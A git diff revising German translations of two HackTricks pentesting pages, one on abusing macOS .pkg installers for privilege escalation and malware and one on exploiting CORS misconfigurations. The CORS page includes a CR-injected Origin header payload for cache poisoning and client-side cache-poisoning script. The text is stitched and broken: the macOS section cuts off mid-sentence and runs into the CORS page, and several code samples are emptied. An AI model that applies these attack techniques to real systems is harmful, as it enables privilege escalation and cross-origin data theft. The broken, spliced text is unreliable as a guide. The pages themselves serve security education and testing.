HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 79a9d16b1..680ae7d7c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -1,34 +1,34 @@ -# macOS Installationsmissbrauch +# macOS Installers Missbrauch
-Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: -- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)! -- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise -- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs -- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter -- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den HackTricks- und HackTricks Cloud-GitHub-Repositories einreichen. +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) +* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
-## Grundlegende Informationen zu Pkg +## Pkg Grundlegende Informationen -Ein macOS-Installationspaket (auch als `.pkg`-Datei bekannt) ist ein Dateiformat, das von macOS verwendet wird, um Software zu verteilen. Diese Dateien sind wie eine Box, die alles enthält, was eine Software zum Installieren und Ausführen benötigt. +Ein macOS **Installationspaket** (auch bekannt als `.pkg`-Datei) ist ein Dateiformat, das von macOS verwendet wird, um **Software zu verteilen**. Diese Dateien sind wie eine **Box, die alles enthält, was eine Software** benötigt, um korrekt installiert und ausgeführt zu werden. -Die Paketdatei selbst ist ein Archiv, das eine Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen. Es kann auch Skripte enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z.B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software. +Die Paketdatei selbst ist ein Archiv, das eine **Hierarchie von Dateien und Verzeichnissen enthält, die auf dem Zielcomputer installiert werden sollen**. Es kann auch **Skripte** enthalten, um Aufgaben vor und nach der Installation auszuführen, wie z. B. das Einrichten von Konfigurationsdateien oder das Bereinigen alter Versionen der Software. ### Hierarchie
https://www.youtube.com/watch?v=iASSG0_zobQ
-- **Distribution (xml)**: Anpassungen (Titel, Willkommenstext...) und Skript/Installationsprüfungen -- **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten -- **Bill of materials (bom)**: Liste der zu installierenden, zu aktualisierenden oder zu entfernenden Dateien mit Dateiberechtigungen -- **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen -- **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die zum Ausführen in ein temporäres Verzeichnis extrahiert werden. +* **Distribution (xml)**: Anpassungen (Titel, Willkommensnachricht...) und Skript/Installationsprüfungen +* **PackageInfo (xml)**: Informationen, Installationsanforderungen, Installationsort, Pfade zu auszuführenden Skripten +* **Materialliste (bom)**: Liste der Dateien, die installiert, aktualisiert oder entfernt werden sollen, mit Dateiberechtigungen +* **Payload (CPIO-Archiv gzip-komprimiert)**: Dateien, die im `install-location` aus PackageInfo installiert werden sollen +* **Skripte (CPIO-Archiv gzip-komprimiert)**: Vor- und Nachinstallations-Skripte und weitere Ressourcen, die in ein temporäres Verzeichnis extrahiert werden, um ausgeführt zu werden. ### Dekomprimieren ```bash @@ -44,71 +44,57 @@ xar -xf "/path/to/package.pkg" cat Scripts | gzip -dc | cpio -i cpio -i < Scripts ``` -## DMG Grundlegende Informationen +Um den Inhalt des Installers ohne manuelles Entpacken zu visualisieren, können Sie auch das kostenlose Tool [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/) verwenden. -DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Disk-Images verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Disk-Image** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, mountet macOS sie wie eine physische Festplatte und ermöglicht Ihnen den Zugriff auf deren Inhalte. +## DMG Grundinformationen + +DMG-Dateien oder Apple Disk Images sind ein Dateiformat, das von Apples macOS für Festplattenabbilder verwendet wird. Eine DMG-Datei ist im Wesentlichen ein **einbindbares Festplattenabbild** (es enthält sein eigenes Dateisystem), das in der Regel komprimierte und manchmal verschlüsselte Rohblockdaten enthält. Wenn Sie eine DMG-Datei öffnen, **bindet macOS sie ein, als ob es sich um eine physische Festplatte handeln würde**, und ermöglicht Ihnen den Zugriff auf deren Inhalt. ### Hierarchie
-Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Bei Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur: +Die Hierarchie einer DMG-Datei kann je nach Inhalt unterschiedlich sein. Für Anwendungs-DMGs folgt sie jedoch in der Regel dieser Struktur: -* Top-Level: Dies ist die Wurzel des Disk-Images. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme". -* Anwendung (.app): Dies ist die eigentliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen. -* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, die Installation der Anwendung zu erleichtern. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren. +* Top Level: Dies ist die Wurzel des Festplattenabbilds. Es enthält oft die Anwendung und möglicherweise einen Link zum Ordner "Programme". +* Anwendung (.app): Dies ist die tatsächliche Anwendung. In macOS ist eine Anwendung in der Regel ein Paket, das viele einzelne Dateien und Ordner enthält, die die Anwendung ausmachen. +* Anwendungslink: Dies ist eine Verknüpfung zum Ordner "Programme" in macOS. Der Zweck besteht darin, es Ihnen leicht zu machen, die Anwendung zu installieren. Sie können die .app-Datei zu dieser Verknüpfung ziehen, um die App zu installieren. -## Privilege Escalation durch Missbrauch von pkg +## Privilege Escalation durch pkg-Missbrauch ### Ausführung aus öffentlichen Verzeichnissen -Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren kann, kann er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel: +Wenn beispielsweise ein Vor- oder Nachinstallations-Skript aus **`/var/tmp/Installerutil`** ausgeführt wird und ein Angreifer dieses Skript kontrollieren könnte, könnte er Berechtigungen eskalieren, wann immer es ausgeführt wird. Oder ein ähnliches Beispiel:
https://www.youtube.com/watch?v=iASSG0_zobQ
### AuthorizationExecuteWithPrivileges -Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** kann, kann er ihre Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu eskalieren. +Dies ist eine [öffentliche Funktion](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), die von mehreren Installationsprogrammen und Updatern aufgerufen wird, um etwas als Root auszuführen. Diese Funktion akzeptiert den **Pfad** der **Datei**, die als Parameter **ausgeführt** werden soll. Wenn ein Angreifer jedoch diese Datei **ändern** könnte, könnte er deren Ausführung mit Root-Rechten **missbrauchen**, um Berechtigungen zu **eskalierten**. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges # You could also check FS events to find this missconfig ``` -Für weitere Informationen schauen Sie sich diesen Vortrag an: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw) +### Ausführung durch Einhängen -### Ausführung durch Mounting +Wenn ein Installer nach `/tmp/fixedname/bla/bla` schreibt, ist es möglich, ein **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, um während der Installation **beliebige Dateien zu modifizieren** und den Installationsprozess zu missbrauchen. -Wenn ein Installer in `/tmp/fixedname/bla/bla` schreibt, ist es möglich, einen **Mount** über `/tmp/fixedname` ohne Besitzer zu erstellen, sodass Sie während der Installation **beliebige Dateien ändern** können, um den Installationsprozess zu missbrauchen. - -Ein Beispiel dafür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um als Root ausgeführt zu werden. Für weitere Informationen werfen Sie einen Blick auf den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) +Ein Beispiel hierfür ist **CVE-2021-26089**, bei dem es gelungen ist, ein periodisches Skript zu überschreiben, um die Ausführung als Root zu erlangen. Für weitere Informationen siehe den Vortrag: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) ## pkg als Malware ### Leerer Payload -Es ist möglich, eine **`.pkg`**-Datei nur mit **vor- und nachinstallierten Skripten** ohne Payload zu generieren. +Es ist möglich, einfach eine **`.pkg`**-Datei mit **Vor- und Nachinstallations-Skripten** ohne Payload zu generieren. -### JS in Distribution xml +### JS in Distribution-XML -Es ist möglich, **` ``` -### Ausnutzung des `null` Ursprungs +### Ausnutzen des `null` Ursprungs -Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien angegeben wird, hat eine einzigartige Position. Einige Anwendungen whitelisten diesen Ursprung, um die lokale Entwicklung zu erleichtern, und ermöglichen so versehentlich jeder Website, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und dadurch die CORS-Beschränkungen zu umgehen. +Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien spezifiziert ist, nimmt eine einzigartige Position ein. Einige Anwendungen setzen diesen Ursprung auf die Whitelist, um die lokale Entwicklung zu erleichtern, wodurch sie unbeabsichtigt jeder Website ermöglichen, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und somit die CORS-Beschränkungen zu umgehen. ```html ``` -### Bypass-Techniken für reguläre Ausdrücke +### Reguläre Ausdruck-Bypass-Techniken -Wenn Sie auf eine Domain-Whitelist stoßen, ist es entscheidend, nach Umgehungsmöglichkeiten zu suchen, z. B. das Anhängen der Angreiferdomain an eine in der Whitelist enthaltene Domain oder die Ausnutzung von Schwachstellen bei der Übernahme von Subdomains. Darüber hinaus können bei der Domänenvalidierung verwendete reguläre Ausdrücke Nuancen in den Domänennamenskonventionen übersehen und weitere Umgehungsmöglichkeiten bieten. +Beim Auffinden einer Domain-Whitelist ist es entscheidend, nach Bypass-Möglichkeiten zu testen, wie z.B. das Anhängen der Angreiferdomain an eine whitelisted Domain oder die Ausnutzung von Subdomain-Übernahme-Schwachstellen. Darüber hinaus können bei der Verwendung von regulären Ausdrücken zur Domänenvalidierung Nuancen in den Domänennamenskonventionen übersehen werden, was weitere Bypass-Möglichkeiten bietet. -### Fortgeschrittene Bypass-Techniken für reguläre Ausdrücke +### Fortgeschrittene Reguläre Ausdruck-Bypasses -Reguläre Ausdrücke konzentrieren sich in der Regel auf alphanumerische Zeichen, Punkt (.), und Bindestrich (-), wobei andere Möglichkeiten vernachlässigt werden. Zum Beispiel kann ein Domänenname, der Zeichen enthält, die von Browsern und regulären Ausdrücken unterschiedlich interpretiert werden, Sicherheitsprüfungen umgehen. Die Handhabung von Unterstrichzeichen in Subdomains durch Safari, Chrome und Firefox veranschaulicht, wie solche Unterschiede ausgenutzt werden können, um die Logik der Domänenvalidierung zu umgehen. +RegEx-Muster konzentrieren sich typischerweise auf alphanumerische, Punkt (.) und Bindestrich (-) Zeichen und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein Domainname so gestaltet sein, dass er Zeichen enthält, die von Browsern und RegEx-Mustern unterschiedlich interpretiert werden und Sicherheitsüberprüfungen umgehen können. Safaris, Chromes und Firefox' Umgang mit Unterstrichzeichen in Subdomains zeigt, wie solche Unterschiede ausgenutzt werden können, um die Domänenvalidierungslogik zu umgehen. -**Weitere Informationen und Einstellungen für diesen Bypass finden Sie unter:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +**Für weitere Informationen und Einstellungen zu diesem Bypass-Check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **und** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) -![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) +![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>) ### Von XSS innerhalb einer Subdomain -Entwickler implementieren oft Abwehrmechanismen, um sich vor CORS-Exploitation zu schützen, indem sie Domains in die Whitelist aufnehmen, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer verwundbaren Subdomain innerhalb der in der Whitelist enthaltenen Domains kann die Tür zur CORS-Exploitation durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen. +Entwickler implementieren oft Abwehrmechanismen, um sich gegen CORS-Exploits zu schützen, indem sie Domains auf diejenigen beschränken, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht narrensicher. Das Vorhandensein auch nur einer anfälligen Subdomain innerhalb der whitelisted Domains kann die Tür zu CORS-Exploits durch andere Schwachstellen wie XSS (Cross-Site Scripting) öffnen. -Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem die Domain `requester.com` in der Whitelist steht und auf Ressourcen einer anderen Domain, `provider.com`, zugreifen darf. Die serverseitige Konfiguration könnte wie folgt aussehen: +Um dies zu veranschaulichen, betrachten Sie das Szenario, in dem eine Domain, `requester.com`, berechtigt ist, Ressourcen von einer anderen Domain, `provider.com`, abzurufen. Die serverseitige Konfiguration könnte wie folgt aussehen: ```javascript if ($_SERVER['HTTP_HOST'] == '*.requester.com') { // Access data @@ -217,42 +206,40 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') { // Unauthorized access } ``` -In dieser Konfiguration haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z.B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um die CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen. - +In diesem Setup haben alle Subdomains von `requester.com` Zugriff. Wenn jedoch eine Subdomain, z. B. `sub.requester.com`, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwachstelle ausnutzen. Ein Angreifer mit Zugriff auf `sub.requester.com` könnte beispielsweise die XSS-Schwachstelle ausnutzen, um CORS-Richtlinien zu umgehen und böswillig auf Ressourcen auf `provider.com` zuzugreifen. ### **Serverseitige Cache-Vergiftung** -**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** +[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -Es ist möglich, dass durch Ausnutzung einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle verursacht wird. Dieses Szenario tritt auf, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen überprüft und somit eine Schwachstelle insbesondere für Internet Explorer- und Edge-Benutzer entsteht. Diese Browser behandeln `\r` (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt. +Es ist möglich, dass durch Ausnutzen einer serverseitigen Cache-Vergiftung durch HTTP-Header-Injektion eine gespeicherte Cross-Site-Scripting (XSS)-Schwachstelle induziert werden kann. Dieses Szenario entfaltet sich, wenn eine Anwendung den `Origin`-Header nicht auf illegale Zeichen bereinigt, was insbesondere für Internet Explorer- und Edge-Benutzer eine Schwachstelle schafft. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP-Header-Injektionsschwachstellen führt. Betrachten Sie die folgende Anfrage, bei der der `Origin`-Header manipuliert wird: -```text +``` GET / HTTP/1.1 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 ``` -Internet Explorer und Edge interpretieren die Antwort wie folgt: -```text +Internet Explorer und Edge interpretieren die Antwort als: +``` HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7 ``` -Während es nicht möglich ist, diese Schwachstelle direkt auszunutzen, indem man einen Webbrowser dazu bringt, einen fehlerhaften Header zu senden, kann eine manipulierte Anfrage manuell mit Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass der Server-Cache die Antwort speichert und sie versehentlich anderen Benutzern zur Verfügung stellt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite in UTF-7 zu ändern, eine Zeichencodierung, die aufgrund ihrer Fähigkeit, Zeichen auf eine Weise zu kodieren, die in bestimmten Kontexten als Skript ausgeführt werden kann, oft mit XSS-Schwachstellen in Verbindung gebracht wird. +Während es nicht machbar ist, diese Schwachstelle direkt auszunutzen, indem ein Webbrowser einen fehlerhaften Header sendet, kann eine manipulierte Anfrage manuell mithilfe von Tools wie Burp Suite generiert werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Antwort speichert und sie unbeabsichtigt an andere weitergibt. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite auf UTF-7 zu ändern, eine Zeichenkodierung, die häufig mit XSS-Schwachstellen in Verbindung gebracht wird, da sie Zeichen auf eine Weise kodieren kann, die in bestimmten Kontexten als Skript ausgeführt werden kann. Für weitere Informationen zu gespeicherten XSS-Schwachstellen siehe [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). -**Hinweis**: Die Ausnutzung von Schwachstellen bei der HTTP-Header-Injektion, insbesondere durch Server-Cache-Vergiftung, unterstreicht die entscheidende Bedeutung der Validierung und Bereinigung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern. +**Hinweis**: Die Ausnutzung von HTTP-Header-Injektionsschwachstellen, insbesondere durch serverseitiges Caching-Vergiften, unterstreicht die entscheidende Bedeutung der Validierung und Säuberung aller vom Benutzer bereitgestellten Eingaben, einschließlich der HTTP-Header. Verwenden Sie immer ein robustes Sicherheitsmodell, das eine Eingabevalidierung umfasst, um solche Schwachstellen zu verhindern. +### **Clientseitiges Caching-Vergiften** -### **Clientseitige Cache-Vergiftung** +[**Aus dieser Forschung**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -**[Aus dieser Forschung](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)** +In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt eines `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bildtag enthält, das darauf ausgelegt ist, beim Laden JavaScript-Code auszuführen. -In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne ordnungsgemäße Codierung widerspiegelt. Konkret spiegelt die Webseite den Inhalt des `X-User-id`-Headers zurück, der bösartiges JavaScript enthalten könnte, wie im Beispiel gezeigt, in dem der Header ein SVG-Bild-Tag enthält, das beim Laden JavaScript-Code ausführt. +Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, könnte die Nützlichkeit einer solchen Injektion begrenzt erscheinen. Der kritische Punkt ergibt sich beim Betrachten des Cache-Verhaltens des Browsers. Wenn der `Vary: Origin`-Header nicht angegeben ist, wird es möglich, dass die bösartige Antwort vom Browser zwischengespeichert wird. Anschließend könnte diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Rendervorgang bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus verbessert die Zuverlässigkeit des Angriffs durch Nutzung des clientseitigen Cachings. -Cross-Origin Resource Sharing (CORS)-Richtlinien ermöglichen das Senden von benutzerdefinierten Headern. Ohne dass die Antwort aufgrund von CORS-Beschränkungen direkt vom Browser gerendert wird, scheint der Nutzen einer solchen Injektion begrenzt zu sein. Der entscheidende Punkt ergibt sich jedoch, wenn das Cache-Verhalten des Browsers berücksichtigt wird. Wenn der `Vary: Origin`-Header nicht angegeben ist, kann die bösartige Antwort vom Browser zwischengespeichert werden. Anschließend kann diese zwischengespeicherte Antwort direkt gerendert werden, wenn die URL aufgerufen wird, ohne dass eine direkte Renderng bei der ursprünglichen Anfrage erforderlich ist. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs durch die Nutzung des clientseitigen Cachings. - -Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das in der Umgebung einer Webseite ausgeführt werden soll, z.B. über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren und löst dabei möglicherweise die Ausführung des injizierten Skripts aus, wenn die Antwort zwischengespeichert wurde und der `Vary: Origin`-Header nicht ordnungsgemäß behandelt wurde. +Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das darauf ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, beispielsweise über ein JSFiddle. Dieses Skript führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreicher Anfrage versucht es, zur Ziel-URL zu navigieren, was potenziell die Ausführung des injizierten Skripts auslösen könnte, wenn die Antwort zwischengespeichert wurde, ohne eine ordnungsgemäße Behandlung des `Vary: Origin`-Headers. Hier ist eine zusammengefasste Aufschlüsselung des verwendeten JavaScripts, um diesen Angriff auszuführen: ```html @@ -266,33 +253,32 @@ req.setRequestHeader("X-Custom-Header", ""); req.send(); ``` -## Umgehung +## Umgehen ### XSSI (Cross-Site Script Inclusion) / JSONP -XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Schwachstelle, die ausnutzt, dass die Same Origin Policy (SOP) nicht angewendet wird, wenn Ressourcen mit dem Skript-Tag eingebunden werden. Dies liegt daran, dass Skripte aus verschiedenen Domains eingebunden werden können müssen. Diese Schwachstelle ermöglicht es einem Angreifer, auf Inhalte zuzugreifen und sie zu lesen, die mit dem Skript-Tag eingebunden wurden. +XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Schwachstelle, die ausnutzt, dass die Same Origin Policy (SOP) nicht gilt, wenn Ressourcen unter Verwendung des Skript-Tags eingebunden werden. Dies liegt daran, dass Skripte aus verschiedenen Domänen eingebunden werden können müssen. Diese Schwachstelle ermöglicht es einem Angreifer, auf alle Inhalte zuzugreifen und sie zu lesen, die unter Verwendung des Skript-Tags eingebunden wurden. -Diese Schwachstelle wird besonders bedeutsam, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Umgebungsautoritätsinformationen wie Cookies zur Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die Cookies mitgesendet, was sie für den Angreifer zugänglich macht. +Diese Schwachstelle wird besonders signifikant, wenn es um dynamisches JavaScript oder JSONP (JSON mit Padding) geht, insbesondere wenn Umgebungsautoritätsinformationen wie Cookies zur Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die Cookies mitgeschickt, was sie für den Angreifer zugänglich macht. -Um diese Schwachstelle besser zu verstehen und zu mindern, können Sie das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann Ihnen helfen, potenzielle XSSI-Schwachstellen in Ihren Webanwendungen zu identifizieren und zu beheben. +Um diese Schwachstelle besser zu verstehen und zu mildern, können Sie das BurpSuite-Plugin verwenden, das unter [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) verfügbar ist. Dieses Plugin kann dabei helfen, potenzielle XSSI-Schwachstellen in Ihren Webanwendungen zu identifizieren und zu beheben. -[**Lesen Sie hier mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzt.**](xssi-cross-site-script-inclusion.md) +[**Lesen Sie hier mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzen kann.**](xssi-cross-site-script-inclusion.md) -Versuchen Sie, einen **`callback`** **Parameter** in der Anfrage hinzuzufügen. Möglicherweise wurde die Seite so vorbereitet, dass sie die Daten als JSONP sendet. In diesem Fall sendet die Seite die Daten mit `Content-Type: application/javascript` zurück, was die CORS-Richtlinie umgeht. +Versuchen Sie, einen **`callback`** **Parameter** in der Anfrage hinzuzufügen. Möglicherweise wurde die Seite darauf vorbereitet, die Daten als JSONP zu senden. In diesem Fall sendet die Seite die Daten mit `Content-Type: application/javascript` zurück, was die CORS-Richtlinie umgeht. ![](<../.gitbook/assets/image (229).png>) -### Einfache (nutzlose?) Umgehung +### Einfacher (nutzloser?) Umgehung -Eine Möglichkeit, die `Access-Control-Allow-Origin`-Beschränkung zu umgehen, besteht darin, eine Webanwendung aufzufordern, eine Anfrage in Ihrem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domain gestellt wird. +Eine Möglichkeit, die Einschränkung von `Access-Control-Allow-Origin` zu umgehen, besteht darin, eine Webanwendung aufzufordern, eine Anfrage in Ihrem Namen zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Anmeldeinformationen des endgültigen Opfers nicht gesendet, da die Anfrage an eine andere Domäne gestellt wird. -1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der Ihre Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um zur angeforderten Domain zu passen. Dadurch wird die CORS-Richtlinie effektiv umgangen. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest: +1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Dieses Tool bietet einen Proxy, der Ihre Anfrage zusammen mit ihren Headern weiterleitet und gleichzeitig den Origin-Header fälscht, um mit der angeforderten Domäne übereinzustimmen. Dadurch wird die CORS-Richtlinie effektiv umgangen. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest: +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Weiterleiten von Anfragen. Anstatt Ihre Anfrage wie sie ist weiterzuleiten, führt der Server seine eigene Anfrage mit den angegebenen Parametern aus. -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Dieses Tool bietet einen alternativen Ansatz zum Proxying von Anfragen. Anstatt Ihre 